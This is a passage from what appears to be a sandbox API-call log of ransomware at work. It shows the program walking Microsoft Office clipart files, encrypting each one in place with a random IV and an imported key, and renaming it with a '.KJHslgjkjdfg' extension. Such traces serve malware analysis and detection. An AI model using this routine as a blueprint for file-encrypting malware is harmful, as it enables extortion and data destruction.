dwReserved1=0x2e0000, cFileName="NA01468_.WMF", cAlternateFileName="")) returned 1 [0205.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.462] GetProcessHeap () returned 0x990000 [0205.462] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.462] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.462] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.462] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0205.465] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.465] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.465] GetProcessHeap () returned 0x990000 [0205.465] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.465] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.465] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.465] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.465] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.465] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.465] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.466] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.466] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.466] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.466] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4e82, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4e82, lpOverlapped=0x0) returned 1 [0205.467] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4e90, dwBufLen=0x4e90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4e90) returned 1 [0205.467] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.467] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4e90, lpOverlapped=0x0) returned 1 [0205.468] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.468] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.468] SetEndOfFile (hFile=0x130) returned 1 [0205.469] GetProcessHeap () returned 0x990000 [0205.469] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.469] GetProcessHeap () returned 0x990000 [0205.469] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.469] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf.kjhslgjkjdfg")) returned 1 [0205.472] CloseHandle (hObject=0x130) returned 1 [0205.472] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87afcf00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87afcf00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x4ada, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01470_.WMF", cAlternateFileName="")) returned 1 [0205.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.473] GetProcessHeap () returned 0x990000 [0205.473] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.473] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.473] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.474] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0205.476] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.476] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.476] GetProcessHeap () returned 0x990000 [0205.476] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.476] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.476] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.476] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.476] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.477] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.477] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.477] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.477] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.477] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.477] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.477] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.477] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4ada, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4ada, lpOverlapped=0x0) returned 1 [0205.478] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4ae0, dwBufLen=0x4ae0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4ae0) returned 1 [0205.479] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.479] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4ae0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4ae0, lpOverlapped=0x0) returned 1 [0205.479] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.479] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.479] SetEndOfFile (hFile=0x130) returned 1 [0205.482] GetProcessHeap () returned 0x990000 [0205.482] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.482] GetProcessHeap () returned 0x990000 [0205.482] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.482] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf.kjhslgjkjdfg")) returned 1 [0205.483] CloseHandle (hObject=0x130) returned 1 [0205.484] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x841c4800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x841c4800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2028, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01472_.WMF", cAlternateFileName="")) returned 1 [0205.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.485] GetProcessHeap () returned 0x990000 [0205.485] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.485] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.485] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.485] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.487] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.487] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.487] GetProcessHeap () returned 0x990000 [0205.487] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.488] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.488] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.488] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.488] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.488] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.488] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.488] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.488] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.488] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.488] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.488] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.488] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2028, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2028, lpOverlapped=0x0) returned 1 [0205.490] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2030, dwBufLen=0x2030 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2030) returned 1 [0205.490] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.490] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2030, lpOverlapped=0x0) returned 1 [0205.490] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.490] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.490] SetEndOfFile (hFile=0x130) returned 1 [0205.491] GetProcessHeap () returned 0x990000 [0205.491] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.491] GetProcessHeap () returned 0x990000 [0205.491] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.491] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf.kjhslgjkjdfg")) returned 1 [0205.493] CloseHandle (hObject=0x130) returned 1 [0205.493] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82eb1b00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82eb1b00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x28ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01473_.WMF", cAlternateFileName="")) returned 1 [0205.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.495] GetProcessHeap () returned 0x990000 [0205.495] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.495] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.495] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.495] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0205.497] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.498] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.498] GetProcessHeap () returned 0x990000 [0205.498] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.498] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.498] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.498] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.498] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.498] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.498] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.498] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.498] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.498] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.498] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.499] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.499] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x28ae, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x28ae, lpOverlapped=0x0) returned 1 [0205.500] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x28b0, dwBufLen=0x28b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x28b0) returned 1 [0205.500] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.500] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x28b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x28b0, lpOverlapped=0x0) returned 1 [0205.500] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.500] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.500] SetEndOfFile (hFile=0x130) returned 1 [0205.504] GetProcessHeap () returned 0x990000 [0205.504] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.504] GetProcessHeap () returned 0x990000 [0205.504] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.505] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf.kjhslgjkjdfg")) returned 1 [0205.506] CloseHandle (hObject=0x130) returned 1 [0205.506] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5def00, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f5def00, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x349c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01474_.WMF", cAlternateFileName="")) returned 1 [0205.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.507] GetProcessHeap () returned 0x990000 [0205.507] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.507] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.507] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.507] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.510] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.510] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.510] GetProcessHeap () returned 0x990000 [0205.510] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.511] CryptEncrypt (in: 